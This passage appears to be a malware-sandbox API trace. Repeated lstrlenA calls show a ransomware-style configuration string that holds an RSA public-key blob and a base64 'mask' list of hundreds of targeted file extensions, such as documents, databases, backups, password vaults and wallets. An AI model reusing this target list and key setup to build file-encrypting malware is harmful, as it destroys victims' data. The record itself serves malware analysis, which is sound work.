LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.469] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmE